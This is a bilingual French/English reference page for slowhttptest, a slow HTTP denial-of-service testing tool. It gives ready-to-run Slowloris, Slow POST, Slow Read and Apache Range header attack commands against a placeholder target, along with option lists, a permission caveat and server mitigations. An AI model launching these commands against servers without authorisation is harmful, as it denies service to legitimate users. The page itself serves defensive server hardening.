retour aux outils back to tools Ducklings

slowhttptest

Outil de test d'attaque DoS HTTP lent. Simule des attaques Slowloris, Slow POST, Slow Read et RANGE header pour tester si des serveurs web sont vulnérables aux attaques de déni de service HTTP lent. Slow HTTP DoS attack testing tool. Simulates Slowloris, Slow POST, Slow Read, and RANGE header attacks to test if web servers are vulnerable to slow HTTP denial-of-service attacks.

↗ https://github.com/shekyan/slowhttptest

Overview

slowhttptest implements multiple slow HTTP DoS attack vectors: Slowloris (slow headers), Slow POST (slow body), Slow Read (slow consumption of responses), and Apache Range header attacks. Used to test whether web servers have appropriate mitigations configured.

Basic Usage

Slowloris attack (slow headers)

slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3

Slow POST attack

slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3

Slow Read attack

slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300

Range header attack (Apache killer)

slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com

Attack Modes

-H Slowloris — sends incomplete HTTP headers slowly Keeps connections open by never completing the request

slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3

-B Slow POST — sends POST body very slowly Works against form-processing endpoints

slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3

-X Slow Read — reads response data very slowly Exhausts server send buffers

slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3

-R Range Header — Apache Range header DoS

slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3

Options Reference

-c N    Connections count (default: 50)
-d P    Proxy host:port
-e P    Proxy credentials (login:password)
-H      Slowloris mode
-B      Slow POST mode
-X      Slow Read mode
-R      Range Header mode
-g      Generate CSV/HTML report
-o FILE Output file name (no extension)
-i N    Interval between follow-up data (seconds)
-r N    Connections per second
-s N    POST body size (bytes)
-t VERB HTTP verb (GET/POST)
-u URL  Target URL
-x N    Max length of follow-up data (bytes)
-p N    Timeout to wait for HTTP response (seconds)
-l N    Test duration (seconds)

Report Generation

Generate HTML report with stats graph

slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3

# Creates:
# slowtest.html  — visual report with connection graph
# slowtest.csv   — raw data

Tips

This tool tests the server’s resilience — use only on systems you own or have permission to test
Successful attacks will cause legitimate users to get 503 errors — test in maintenance windows
Nginx is generally resilient; Apache httpd (older) is more vulnerable
Mitigations: connection limits, request timeouts, mod_reqtimeout (Apache), rate limiting
Test with lower -c values first to avoid disrupting production unexpectedly

Help / Man page

slowhttptest [options]

-c N     Total connections (default: 50)
-H       Slowloris mode
-B       Slow POST mode  
-X       Slow Read mode
-R       Range Header mode
-u URL   Target URL
-g       Generate report
-o FILE  Output file (no extension)
-i N     Interval (seconds)
-r N     Connections/second
-t VERB  HTTP method
-x N     Max data length
-p N     Response timeout
-l N     Duration (seconds, 0=unlimited)

Vue d’ensemble

slowhttptest implémente plusieurs vecteurs d’attaque DoS HTTP lent : Slowloris (en-têtes lents), Slow POST (corps lent), Slow Read (consommation lente des réponses), et attaques Range header Apache. Utilisé pour tester si les serveurs web disposent de mitigations correctement configurées.

Utilisation de base

# Attaque Slowloris (en-têtes lents)
slowhttptest -c 1000 -H -g -o output -i 10 -r 200 -t GET -u http://target.com -x 24 -p 3

# Attaque Slow POST
slowhttptest -c 1000 -B -g -o output -i 110 -r 200 -s 8192 -t POST -u http://target.com/form -x 10 -p 3

# Attaque Slow Read
slowhttptest -c 1000 -X -g -o output -i 1 -r 200 -u http://target.com -p 3 -l 300

# Attaque Range header (Apache killer)
slowhttptest -c 1000 -R -g -o output -i 1 -r 200 -u http://target.com

Modes d’attaque

# -H  Slowloris : envoie des en-têtes HTTP incomplets lentement. Garde les connexions ouvertes en ne complétant jamais la requête
slowhttptest -c 500 -H -u http://target.com -i 10 -r 100 -t GET -x 24 -p 3

# -B  Slow POST : envoie le corps POST très lentement. Fonctionne contre les endpoints de traitement de formulaire
slowhttptest -c 500 -B -u http://target.com/login -i 110 -r 100 -t POST -x 10 -p 3

# -X  Slow Read : lit les données de réponse très lentement. Épuise les buffers d'envoi du serveur
slowhttptest -c 500 -X -u http://target.com -i 1 -r 100 -p 3

# -R  Range Header : DoS via l'en-tête Range d'Apache
slowhttptest -c 500 -R -u http://target.com -i 1 -r 100 -p 3

Référence des options

-c N    Connections count (default: 50)
-d P    Proxy host:port
-e P    Proxy credentials (login:password)
-H      Slowloris mode
-B      Slow POST mode
-X      Slow Read mode
-R      Range Header mode
-g      Generate CSV/HTML report
-o FILE Output file name (no extension)
-i N    Interval between follow-up data (seconds)
-r N    Connections per second
-s N    POST body size (bytes)
-t VERB HTTP verb (GET/POST)
-u URL  Target URL
-x N    Max length of follow-up data (bytes)
-p N    Timeout to wait for HTTP response (seconds)
-l N    Test duration (seconds)

Génération de rapport

# Générer un rapport HTML avec graphique de statistiques
slowhttptest -c 1000 -H -g -o slowtest -u http://target.com -i 10 -r 200 -t GET -x 24 -p 3

# Crée :
# slowtest.html  : rapport visuel avec graphique de connexions
# slowtest.csv   : données brutes

Conseils

Cet outil teste la résilience du serveur : à utiliser uniquement sur des systèmes que vous possédez ou que vous êtes autorisé à tester
Les attaques réussies causent des erreurs 503 pour les utilisateurs légitimes : tester en fenêtre de maintenance
Nginx est généralement résilient ; Apache httpd (versions anciennes) est plus vulnérable
Mitigations : limites de connexion, timeouts de requête, mod_reqtimeout (Apache), rate limiting
Tester d’abord avec des valeurs -c plus basses pour éviter de perturber la production de manière inattendue

Aide / Page de manuel

slowhttptest [options]

-c N     Total connections (default: 50)
-H       Slowloris mode
-B       Slow POST mode  
-X       Slow Read mode
-R       Range Header mode
-u URL   Target URL
-g       Generate report
-o FILE  Output file (no extension)
-i N     Interval (seconds)
-r N     Connections/second
-t VERB  HTTP method
-x N     Max data length
-p N     Response timeout
-l N     Duration (seconds, 0=unlimited)